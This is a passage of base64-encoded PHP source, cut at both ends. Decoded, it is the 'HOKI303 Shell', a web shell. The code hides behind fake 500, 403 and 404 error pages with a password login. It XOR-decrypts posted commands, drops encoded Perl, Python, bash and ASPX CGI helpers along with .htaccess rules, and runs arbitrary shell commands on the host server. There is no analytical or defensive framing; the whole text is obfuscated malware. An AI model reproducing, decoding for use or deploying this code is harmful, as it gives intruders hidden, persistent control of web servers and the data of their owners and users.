fdXNlcl9hYm9ydCh0cnVlKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJy0xJyk7CkBpbmlfc2V0KCJ1cGxvYWRfbWF4X2ZpbGVzaXplIiwgIjk5OTltIik7CmlmKCRjb25maWdbJ0hva2lQcm90ZWN0U2hlbG
wnXSl7CiRTRVJWRVJfU0lHID0gKGlzc2V0KCRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl0pPyRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl06IiIpOwokRWZvcm09Jzxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IHN0eWxlPSJtYXJnaW46M
DtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIj48L2Zvcm0+JzsKaWYoJGNvbmZpZ1snSG9raUxvZ2luUGFnZSddID09ICdndWknKXsKaWYoQCRfQ09PS0lF
WyJIb2tpVXNlciJdICE9ICRjb25maWdbJ0hva2lVc2VyJ10gJiYgJF9DT09LSUVbIkhva2lQYXNzIl0gIT0gbWQ1KCRjb25maWdbJ0hva2lQYXNzJ10pKXsKaWYoQCRfUE9TVFsidXNybmFtZSJdPT0kY29uZmlnWydIb2tpVXNlciddICYmIEBtZDU
oJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snSG9raVBhc3MnXSl7Cl9faG9raV9zZXRfY29va2llKCJIb2tpVXNlciIsICRjb25maWdbJ0hva2lVc2VyJ10pOwpfX2hva2lfc2V0X2Nvb2tpZSgiSG9raVBhc3MiLCBAbWQ1KCRjb25maWdbJ0
hva2lQYXNzJ10pKTsKQGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOwp9CmVjaG8gJwo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZDogYmxhY2s7fQojbG9naW5ib3ggeyBmb250LXNpemU6MTFweDsgY29sb3I6Z3JlZW47I
HJpZ2h0Ojg1cHg7IHdpZHRoOjEyMDBweDsgaGVpZ2h0OjIwMHB4OyBib3JkZXItcmFkaXVzOjVweDsgLW1vei1ib2Rlci1yYWRpdXM6NXB4OyBwb3NpdGlvbjpmaXhlZDsgdG9wOjI1MHB4OyB9CiNsb2dpbmJveCB0ZCB7IGJvcmRlci1yYWRpdXM6
NXB4OyBmb250LXNpemU6MTFweDsgfQo8L3N0eWxlPgo8dGl0bGU+fiBIT0tJMzAzIFNoZWxsLXYnLl9fSE9LSV9WRVJTSU9OX18uJy0nLl9fSE9LSV9DT0RFX05BTUVfXy4nIH48L3RpdGxlPjxjZW50ZXI+CjxjZW50ZXI+PGltZyBzdHlsZT0iYm9
yZGVyLXJhZGl1czoxMDBweDsiIHdpZHRoPSIzMDAiIGhlaWdodD0iMTcwIiBhbHQ9Ikhva2kzMDMgR2FuZyIgZHJhZ2dhYmxlPSJmYWxzZSIgc3JjPSJodHRwczovL2kuaWJiLmNvLmNvbS9Hc3YzTU5HL2xvZ28ucG5nIiAvPjwvY2VudGVyPgo8ZG
l2IGlkPWxvZ2luYm94PjxwPjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+CjxjZW50ZXI+PHRhYmxlIGNlbGxwYWRkaW5nPVwnMlwnIGNlbGxzcGFjaW5nPVwnMFwnIGJvcmRlcj1cJzBcJyBpZD1cJ2FwX3RhYmxlXCc+Cjx0cj48d
GQgYmdjb2xvcj0iZ3JlZW4iPjx0YWJsZSBjZWxscGFkZGluZz1cJzBcJyBjZWxsc3BhY2luZz1cJzBcJyBib3JkZXI9XCcwXCcgd2lkdGg9XCcxMDAlXCc+PHRyPjx0ZCBiZ2NvbG9yPSJncmVlbiIgYWxpZ249Y2VudGVyIHN0eWxlPSJwYWRkaW5n
OjI7cGFkZGluZy1ib3R0b206NCI+PGI+PGZvbnQgY29sb3I9IndoaXRlIiBzaXplPS0xIGNvbG9yPSJ3aGl0ZSIgZmFjZT0idmVyZGFuYSxhcmlhbCI+PGI+fiBIT0tJMzAzIFNoZWxsLXYnLl9fSE9LSV9WRVJTSU9OX18uJy0nLl9fSE9LSV9DT0R
FX05BTUVfXy4nIH48L2I+PC9mb250PjwvdGg+PC90cj4KPHRyPjx0ZCBiZ2NvbG9yPSJibGFjayIgc3R5bGU9InBhZGRpbmc6NSI+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9Im
xvZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGlkZSIgdmFsdWU9IiI+CjxjZW50ZXI+PHRhYmxlPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5Mb2dpbjo8L2ZvbnQ+PC90Z
D48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJ1c3JuYW1lIiBwbGFjZWhvbGRlcj0idXNlcm5hbWUiIG9uZm9jdXM9ImlmICh0aGlzLnZhbHVlID09IFwndXNlcm5hbWVcJyl7dGhpcy52YWx1ZSA9IFwnXCc7fSI+PC90ZD48
L3RyPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5QYXNzd29yZDo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHBsYWN
laG9sZGVyPSJwYXNzd29yZCIgb25mb2N1cz0iaWYgKHRoaXMudmFsdWUgPT0gXCdwYXNzd29yZFwnKSB0aGlzLnZhbHVlID0gXCdcJzsiPjwvdGQ+PC90cj4KPHRyPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPiZuYnNwOz
wvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPgo8L2Rpdj48YnIgLz48L2NlbnRlcj4nOwpleGl0O
wp9Cn1lbHNlaWYoJGNvbmZpZ1snSG9raUxvZ2luUGFnZSddPT0nNTAwJyl7CmlmKEAkX0NPT0tJRVsiSG9raVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0hva2lQYXNzJ10pKXsKaWYoQG1kNSgkX1BPU1RbInBhc3N3b3JkIl0pPT0kY29uZmlnWydI
b2tpUGFzcyddKXsKX19ob2tpX3NldF9jb29raWUoIkhva2lVc2VyIiwgJGNvbmZpZ1snSG9raVVzZXInXSk7Cl9faG9raV9zZXRfY29va2llKCJIb2tpUGFzcyIsIEBtZDUoJGNvbmZpZ1snSG9raVBhc3MnXSkpOwpAaGVhZGVyKCdsb2NhdGlvbjo
gJy4kX1NFUlZFUlsiUEhQX1NFTEYiXSk7Cn0KZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+SW50ZXJuYWwgU2VydmVyIEVycm9yPC9oMT48cD5UaGUgc2Vydm
VyIGVuY291bnRlcmVkIGFuIGludGVybmFsIGVycm9yIG9yIG1pc2NvbmZpZ3VyYXRpb24gYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD48cD5QbGVhc2UgY29udGFjdCB0aGUgc2VydmVyIGFkbWluaXN0cmF0b3IsI
CcuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLicgYW5kIGluZm9ybSB0aGVtIG9mIHRoZSB0aW1lIHRoZSBlcnJvciBvY2N1cnJlZCwgYW5kIGFueXRoaW5nIHlvdSBtaWdodCBoYXZlIGRvbmUgdGhhdCBtYXkgaGF2ZSBjYXVzZWQgdGhlIGVycm9y
LjwvcD48cD5Nb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IgbWF5IGJlIGF2YWlsYWJsZSBpbiB0aGUgc2VydmVyIGVycm9yIGxvZy48L3A+PGhyPicuJFNFUlZFUl9TSUcuJzwvYm9keT48L2h0bWw+Jy4kRWZvcm07CmV4aXQ7Cn0KfWV
sc2VpZigkY29uZmlnWydIb2tpTG9naW5QYWdlJ109PSc0MDMnKXsKaWYoQCRfQ09PS0lFWyJIb2tpUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snSG9raVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0hva2lQYX
NzJ10pewpfX2hva2lfc2V0X2Nvb2tpZSgiSG9raVVzZXIiLCAkY29uZmlnWydIb2tpVXNlciddKTsKX19ob2tpX3NldF9jb29raWUoIkhva2lQYXNzIiwgQG1kNSgkY29uZmlnWydIb2tpUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU
0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8aHRtbD48aGVhZD48dGl0bGU+NDAzIEZvcmJpZGRlbjwvdGl0bGU+PC9oZWFkPjxib2R5PjxoMT5Gb3JiaWRkZW48L2gxPjxwPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb24gdG8gYWNjZXNzICIu
JF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiBvbiB0aGlzIHNlcnZlci48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydIb2tpTG9naW5QYWdlJ109PSc0MDQnKXsKaWYoQCR
fQ09PS0lFWyJIb2tpUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snSG9raVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0hva2lQYXNzJ10pewpfX2hva2lfc2V0X2Nvb2tpZSgiSG9raVVzZXIiLCAkY29uZmlnWy
dIb2tpVXNlciddKTsKX19ob2tpX3NldF9jb29raWUoIkhva2lQYXNzIiwgQG1kNSgkY29uZmlnWydIb2tpUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8dGl0bGU+NDA0IE5vdCBGb
3VuZDwvdGl0bGU+PGgxPk5vdCBGb3VuZDwvaDE+PHA+VGhlIHJlcXVlc3RlZCBVUkwgIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPGJyPjxicj5BZGRpdGlvbmFsbHksIGEgNDA0IE5vdCBGb3Vu
ZCBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfQp
9CmZ1bmN0aW9uIGRlY3J5cHRfcG9zdCgkc3RyKXsKCWlmKF9fSE9LSV9QT1NUX0VOQ1JZUFRJT05fXyl7CgkJJHB3ZCA9IF9fSE9LSV9TRUNSRVRfS0VZX187CgkJJHB3ZCAgICAgPSBfX1pXNWpiMlJsY2coJHB3ZCk7CgkJJHN0ciAgICAgPSBfX1
pHVmpiMlJsY2coJHN0cik7CgkJJGVuY19jaHIgPSAiIjsKCQkkZW5jX3N0ciA9ICIiOwoJCSRpICAgICAgID0gMDsKCQl3aGlsZSAoJGkgPCBzdHJsZW4oJHN0cikpIHsKCQkJZm9yICgkaiA9IDA7ICRqIDwgc3RybGVuKCRwd2QpOyAkaisrKSB7C
gkJCQkkZW5jX2NociA9IGNocihvcmQoJHN0clskaV0pIF4gb3JkKCRwd2RbJGpdKSk7CgkJCQkkZW5jX3N0ciAuPSAkZW5jX2NocjsKCQkJCSRpKys7CgkJCQlpZiAoJGkgPj0gc3RybGVuKCRzdHIpKQoJCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJl
dHVybiBfX1pHVmpiMlJsY2coJGVuY19zdHIpOwoJfWVsc2V7CgkJcmV0dXJuIF9fWkdWamIyUmxjZygkc3RyKTsKCX0KfQoKZnVuY3Rpb24gX0hva2lTZWNyZXRLZXkoKXsKCSRzZWNyZXQgPSBAJF9DT09LSUVbIkhva2lTZWNyZXRLZXkiXTsKCWl
mKCFpc3NldCgkX0NPT0tJRVsiSG9raVNlY3JldEtleSJdKSl7CgkJJHNlY3JldCA9IHVuaXFpZChtdF9yYW5kKCksIHRydWUpOwoJCV9faG9raV9zZXRfY29va2llKCJIb2tpU2VjcmV0S2V5IiwgJHNlY3JldCk7Cgl9CglyZXR1cm4gJHNlY3JldD
sKfQpmdW5jdGlvbiBob2tpX2dldENvbG9yKCR0YXJnZXQpewoJaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsKCQlyZXR1cm4gJ
EdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XTsKCX1lbHNlewoJCSR0YXJnZXQgPSAkR0xPQkFMU1siX19IT0tJX0NPTE9SX18iXVskdGFyZ2V0XTsKCQlpZihpc19hcnJheSgkdGFyZ2V0KSl7CgkJCXJldHVybiAkdGFyZ2V0WyJr
ZXlfY29sb3IiXTsKCQl9ZWxzZXsKCQkJcmV0dXJuICR0YXJnZXQ7CgkJfQoJfQp9CmZ1bmN0aW9uIGhva2lDc3NMb2FkQ29sb3JzKCl7CgkkY3NzID0gIiI7Cglmb3JlYWNoKCRHTE9CQUxTWydfX0hPS0lfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZ
hbHVlKXsKCQlpZighaXNfYXJyYXkoJHZhbHVlKSl7CgkJCSR2YWx1ZSA9IGhva2lfZ2V0Q29sb3IoJGtleSk7CgkJCSRjc3MgLj0gIi57JGtleX17Y29sb3I6IHskdmFsdWV9O30iOwoJCX1lbHNlewoJCQlpZihpc3NldCgkdmFsdWVbIm11bHRpX3
NlbGVjdG9yIl0pKXsKCQkJCWZvcmVhY2goJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdIGFzICRrID0+ICR2KXsKCQkJCQkkY29sb3IgPSBob2tpX2dldENvbG9yKCRrZXkpOwoJCQkJCSRjb2RlID0gc3RyX3JlcGxhY2UoIntjb2xvcn0iLCAkY29sb
3IsICR2KTsKCQkJCQkkY3NzIC49ICAkay4ieyIuJGNvZGUuIn0iOwoJCQkJfQoJCQl9CgkJfQoJfQoJcmV0dXJuICRjc3M7Cn0KaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gSG9raU51bSgpewokYXJncyA9IGZ1bmNfZ2V0X2Fy
Z3MoKTsKJGhva2l4ID0gYXJyYXkoKTsKJGZpbmQgPSBhcnJheSgpOwpmb3IoJGk9MTskaTw9MTA7JGkrKyl7CiRob2tpeFtdID0gJGk7Cn0KZm9yZWFjaCgkYXJncyBhcyAkYXJnKXsKJGZpbmRbXSA9ICRhcmc7Cn0KZWNobyAnPHNjcmlwdD4nOwp
mb3JlYWNoKCRob2tpeCBhcyAkaG9raSl7CmlmKGluX2FycmF5KCRob2tpLCRmaW5kKSkKY29udGludWU7CmVjaG8gJ2hva2knLiRob2tpLiJfPSI7Cn0KZWNobyAnIiI8L3NjcmlwdD4nOwp9fQpmdW5jdGlvbiBfaG9raV9jZ2ljbWQoJGNtZCwkbG
FuZz0icGVybCIsJHNldF9jb29raWU9ZmFsc2UpewoJaWYoISRHTE9CQUxTWyJEQl9OQU1FIl1bImNnaV9hcGkiXSl7CgkJcmV0dXJuICIiOwoJfQoJaWYoaXNzZXQoJF9DT09LSUVbImhva2ljZ2lhcGlfbW9kZSJdKSl7CgkJcmV0dXJuICIiOwoJf
QoJJGNtZF9wdXJlID0gJGNtZDsKCSRpc19jdXJsID0gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsKCSRpc19zb2NrZXQgPSBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpOwoJaWYoJGlzX2N1cmx8fCRpc19zb2NrZXQpewoJCSRy
ZWNyZWF0ZSA9IGZhbHNlOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJob2tpY2dpYXBpIl0pKXsKCQkJaWYoIUBmaWxlX2V4aXN0cygiaG9raWNnaWFwaS8iLiRfQ09PS0lFWyJob2tpY2dpYXBpIl0uIi5ob2tpIikpewoJCQkJJHJlY3JlYXRlID0gdHJ
1ZTsKCQkJCSRsYW5nID0gJF9DT09LSUVbImhva2ljZ2lhcGkiXTsKCQkJfQoJCX0KCQlpZighaXNzZXQoJF9DT09LSUVbImhva2ljZ2lhcGkiXSl8fCRyZWNyZWF0ZSl7CgkJCUBjaGRpcihkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTU
UiXSkpOwoJCQkkcGVybCA9ICdqWkZSVDhJd0ZJWGYvUlhYT3FXTnNLb3hQbEF3UmxpRVJJYks5RVVNR2RzRkdyWXl0MklreS96dGRrTWxKajc0Y3BLZWU4NTNrOTZEZmI3T1VqNlZpaWVZUmdEUTZGZE90QXI4aUU5OUZjWlM3YTB6aEVGLzREU2IxM
zZHRitjaVNhWFNRRG9ycFZIcGh0NGsyQVNONzVvdmRCeU4xVmdSSVdmVWN0eW52UGJnM0Q4NkkyOHljTHplc0ZzckFGK0IzQTFISG1GNXZBRnF5VHBZUzl3WWZmTWpvMUl4a2FJZjBwSFg3YnVWWWFSaWRZYXU1N2plNU5aeGI3eGVyV0RpU2lwb1E1
WkVVbE4reEwvcXM1VUJCQXZ6QUhvQ3RnM1dnYkZ6TTN1MjVBdTBQeURqNDJNT2ZDN29iamZia2RwYlVwbXV3eGtUWldoYk82UzJ6WGppQjB0S0FsS0hCYjVUNjVReFBrZFJRdjZSa2lvdmVRWFliU0RqRXdKeUJqVEVtVlFZMHA4cFk3K1RKVndVNWJ
jYWx3UnhTQXFXYnk4UllyQUtjVEt0cnZNMVgyQ3dOQW1idEpJVUw0bklOcG5HbVA0VnJWRHMrNm90WGhXSzRoTT0nOwoJCQkkcHkgPSAiYlpEQlM4TXdHTVhQeTE5UjY2RXR6aFJrN0RBM0wxcnhJdE90M2dhalRiNnR3VFFKeWRleElmN3ZKcXZNaV
I1Q3lIdnY5M2prOGlMdm5NMXJvWEp6d0VZcmd2WXdJUVBSR20weFlsdUI5VzEvVVZCVkxTSE5DT3daR1BRcFV6bEh2cVBhRFgxc1dGY094aU95MGJhTlpnR2tqd0lrWDZLMjFSWlNVRHRodFpwOUpJdmk5YTFZbHV2bm9ueWFQeVNUNUdXK0xKUFBqT
ENXZXpJVTBDM2dycElkcElrWEUyODF3TjcvTVlQc2JXT0Z3aWkrMXdwQjRUVWVERXdROXBnMzJNcVZYYWx3WWlJMmthOEw4NC81ZmpHdHh5TU9USE5JajNYWlZUdzFGdTVpTW1DTmtIenRrQXMxakU0UDNhRmZvaDAxMm9DNlNmL1d0RHpMZnRHVVNl
M0NCdzRzdUU0Ry9yeU9XcWg0ZW80RThjVDBhM3VTT3JUQy9LanhORCtPL1FJPSI7CgkJCSRiYXNoID0gInJWUmRqNXBBRkgydXYrSTZER2ExSWF5YnBnOWFtclJib3B0WWJWMzYwSlFHV1JpRnlQSTVXcmVVLzk1aG9DeWpzZkZoNTJubTNuTS96dVR
jSzNYVkJ6OVVIK3pNNnhESGkwQWhnRzZqa0pLUUt2UXBKaU9nNUVCVmp6NEdabWlHcUxQZWhRNzFveENjalc5dENMVytMTzROYTIrbjJWVS83d0E3UHdEaHBmNzFtODdzbjNWanV2aUVvS3NCS29FSWZrS3ZCeW1odXpTczBWMVFmck1RRnJEOGJ0MG
J5N3Y1eERxSDVjamJ4ZHpRNTRZMTArY1RZeXJDWHFYRWRrR1p3eEVLVHRMempIVlVJZEp5aVJPNWhIRjZwb1FsVUVJQ3c1T2Vnc2l4QTlnREJZKy9xWVp3UGxUVjF5b1Vzb3k0N1pmbkI2Uk1ra3UwQUdWRDRSb1VtekhKYVZIOWpjeFlqTUdOT0x3O
Ct6TE52bUFJV1RibFFZRWFEeTlBcFlIY3N2bnJDN0pUajRSTlJIazhqVUZHMTZPYlFqQlhCWmdWQ2VhNkk3VDZweE9UblFQT3ZXTFY0TlkrdjdwUlNQaUZRNnV3LzN3M1U1R29uL0t6QXdvM1p6NDdnUmkyN01zemJuUHNqQUFlZ3Y5TWJxSWJmYUgz
Um1SNVd3WkZMWjFFTzNiMFJPcmpjZk1zbFNQbVBwbURDeXB6OE5ueWxmZDhEeDhYeHZSRitiME1oYVM0bkFiSmJJZGZNczlmMCtxbUljQURFQ2VtcnB3Y2owZk1DOHB5cnowWjI5SVl5N0xXTm5MWnh0SkFhOW1xZGlVY0MrSGwzaG9pWVBQeVlUWkR
vSERsWmlyZ0xhajFJT0dzSm13S3BNZ2hqbExLM0Z1a29aV3dRY0JFZUcraUZSSUhveG1FbHY2NXRvRFY3aVE3a2o1cCtJcVBEM1llWGZnRGJFV1R0MjlBVWFyVS9XcGROeGlQT051enFIS3B2NHRUOHQ1MFVJZDFGYkJkd1dzVUxiOWFBLzRDIjsKCQ
kJJGFzcHggPSAialpOZGE5c3dGSWF2azE4aE5Bb09BWGRzb3pkTHlyclVLWWFSbHJpTk4wSXVGUHZFRmJVbDcwak9CMlA5N1QxU1BCbzh5blpsUytkNTMvUGg0OUhaRjNZbkNtRGZoQ29hZWhuenlUdk9JaVhXSlN3azdCSXJMRjF1UkdtQXM3UEwvb
2dVY1ZWcnRHd21LakMxeUNpZUhJeUZLa3hoSFQ3RTdqSFJ5cUl1emI4MTExSVVTaHNycy8rQTQxdlBFTlR2R1l0U0ZTeXJjalptYy9qWmdMSGhWR08xNUhUSFY1OWZrVWZJbnY2RzNLM0g1Q1pva1RIajZjZlpkbjJ6K0NDK3orb2YxYjdjVk5PZFdM
d2Y4OEd2ZnErM1BsaFlybGd1ckNERHRpcHFkZ3RJdnFpcnI4TEF4YWZFSnc2b2pnSDU5NDQxdHZROTdHMTRsVXppT0ZLWnpvazduc0lic0szTzJaT1FsSGVvTXpDRzFhUlhzR1B0T2ZDMmRVaWZCMjJzTmpxY0lOQ1htdWxVcWx6dmlMYllRQmVheWh
MY1VDbnNaaFRDSG5pWHVjS2lxVUJaNDZEempIRTJkRFB1WWc4R2trY295MmdQV1dPZG85K1JMamFIWENKazFKaFF1Y0Q4dHJGMVk5OG9yd3RIaUJyZllGT05UelNxYXkvUWVQRFZuallUSEFmWXJvRCtrOWRIVDBxaHBDSy8xNUhLZ3dGMStocjJ5VS
tqem50Tys2aVZnVEJGYVNIZ1M2TkwyRW9qNlhkNUZyVmNqV3FFU3o0OHBodnkwYmsvTyszdlBpM3VDdz09IjsKCQkJaWYoJGxhbmc9PSJwZXJsIikkc291cmNlID0gJHBlcmw7ZWxzZWlmKCRsYW5nPT0icHkiKSRzb3VyY2UgPSAkcHk7ZWxzZSAkc
291cmNlID0gJGJhc2g7CgkJCWlmKCRsYW5nID09ICJhc3B4Iil7CgkJCQlob2tpV3JpdGVUb2NnaWFwaSgiYXNweC5hc3B4IiwkYXNweCk7CgkJCX1lbHNlewoJCQkJaG9raVdyaXRlVG9jZ2lhcGkoJGxhbmcuIi5ob2tpIiwkc291cmNlKTsKCQkJ
fQoJCQlob2tpY2dpaHRhY2Nlc3MoJ2NnaScsICJob2tpY2dpYXBpLyIpOwoJCX1lbHNlewoJCQkkbGFuZyA9ICRfQ09PS0lFWyJob2tpY2dpYXBpIl07CgkJfQoJCSRjZ2lfZXh0ID0gIi5ob2tpIjsKCQlpZigkbGFuZz09ImFzcHgiKXskY2dpX2V
4dCA9ICIuYXNweCI7CgkJfQoJCSRjZ2lfdXJsID0gX19IT0tJX0RBVEFfRk9MREVSX18uIi9ob2tpY2dpYXBpLyIuJGxhbmcuJGNnaV9leHQ7CgkJJGNtZCA9ICJjaGVjaz1XM052YkdWMmFYTnBZbXhsZm1Gd2FWMD0mY21kPSIuX19aVzVqYjJSbG
NnKCJjZCAiLiRHTE9CQUxTWydjd2QnXS4iOyIuJGNtZCk7CgkJaWYoJGlzX2N1cmwpewoJCQkkYWRkcmVzcyA9ICgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAiaHR0cHM6Ly8iIDogImh0dHA6Ly8iKS4kX1NFUlZFUlsiU0VSVkVSX
05BTUUiXS5kaXJuYW1lKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iLyIuJGNnaV91cmw7CgkJCSRwb3N0ID0gbmV3IEhva2lDVVJMKCk7CgkJCSRkYXRhID0gJHBvc3QtPlNlbmQoJGFkZHJlc3MsICJwb3N0IiwgJGNtZCk7CgkJfWVsc2VpZigk
aXNfc29ja2V0KXsKCQkJJHNlcnZlciA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdOwoJCQkkdXJpID0gZGlybmFtZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIi8iLiRjZ2lfdXJsOwoJCQkkZGF0YSA9IF9ob2tpX2Zzb2Nrb3Blbigkc2VydmV
yLCR1cmksJGNtZCk7CgkJfQoJCSRvdXQgPSAiIjsKCQlpZihzdHJwb3MoJGRhdGEsICJba2lzZXJ5b3VuaX5hcGldIikgIT09IGZhbHNlICYmIHN0cnBvcygkZGF0YSwgJ1traXNlcnlvdW5pfmFwaV08cHJlPiIrb3V0cHV0KyI8L3ByZT4nKSA9PT
0gZmFsc2UpewoJCQlpZigkc2V0X2Nvb2tpZSl7CgkJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raWNnaWFwaSIsICRsYW5nKTsKCQkJfQoJCQlpZihAcHJlZ19tYXRjaCgiLzxwcmU+KC4qPyk8XC9wcmU+L3MiLCAkZGF0YSwgJHJlcykpewoJCQkJJ
G91dCA9ICRyZXNbMV07CgkJCX0KCQl9ZWxzZWlmKCRsYW5nPT0icGVybCIpewoJCQlyZXR1cm4gX2hva2lfY2dpY21kKCRjbWRfcHVyZSwicHkiLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0icHkiKXsKCQkJcmV0dXJuIF9ob2tpX2Nn
aWNtZCgkY21kX3B1cmUsImJhc2giLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0iYmFzaCIgJiYgJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CgkJCXJldHVybiBfaG9raV9jZ2ljbWQoJGNtZF9wdXJlLCJhc3B4Iiwkc2V0X2Nvb2tpZSk
7CgkJfWVsc2V7CgkJCWlmKCRzZXRfY29va2llKXsKCQkJCV9faG9raV9zZXRfY29va2llKCJob2tpY2dpYXBpX21vZGUiLCAib2ZmIik7CgkJCX0KCQl9CgkJcmV0dXJuIHRyaW0oJG91dCk7Cgl9ZWxzZXsKCQlyZXR1cm4gIiI7Cgl9Cn0KZnVuY3
Rpb24gaG9raUdldEN3ZCgpewoJaWYoZnVuY3Rpb25fZXhpc3RzKCJnZXRjd2QiKSl7CgkJcmV0dXJuIEBnZXRjd2QoKTsKCX1lbHNlewoJCXJldHVybiBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7Cgl9Cn0KZnVuY3Rpb24ga
G9raUV4KCRpbiwkcmU9ZmFsc2UsJGNnaT10cnVlLCRhbGw9ZmFsc2UpewoJJGRhdGEgPSBfaG9raV9waHBfY21kKCRpbiwkcmUpOwoJaWYoZW1wdHkoJGRhdGEpJiYkY2dpfHwkYWxsKXsKCQlpZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CgkJ
CWlmKHN0cmxlbihfaG9raV9waHBfY21kKCJ3aG9hbWkiKSk9PTB8fCRhbGwpewoJCQkJJGNtZCA9IF9ob2tpX2NnaWNtZCgkaW4pOwoJCQkJaWYoIWVtcHR5KCRjbWQpKXsKCQkJCQlyZXR1cm4gJGNtZDsKCQkJCX0KCQkJfQoJCX0KCX0KCXJldHV
ybiAkZGF0YTsKfQpmdW5jdGlvbiBfaG9raV9waHBfY21kKCRpbiwkcmU9ZmFsc2Upewokb3V0PScnOwp0cnl7CmlmKCRyZSkkaW49JGluLiIgMj4mMSI7CmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsKQGV4ZWMoJGluLCRvdXQpOwokb3V0ID
0gQGpvaW4oIlxuIiwkb3V0KTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKb2Jfc3RhcnQoKTsKQHBhc3N0aHJ1KCRpbik7CiRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3Rlb
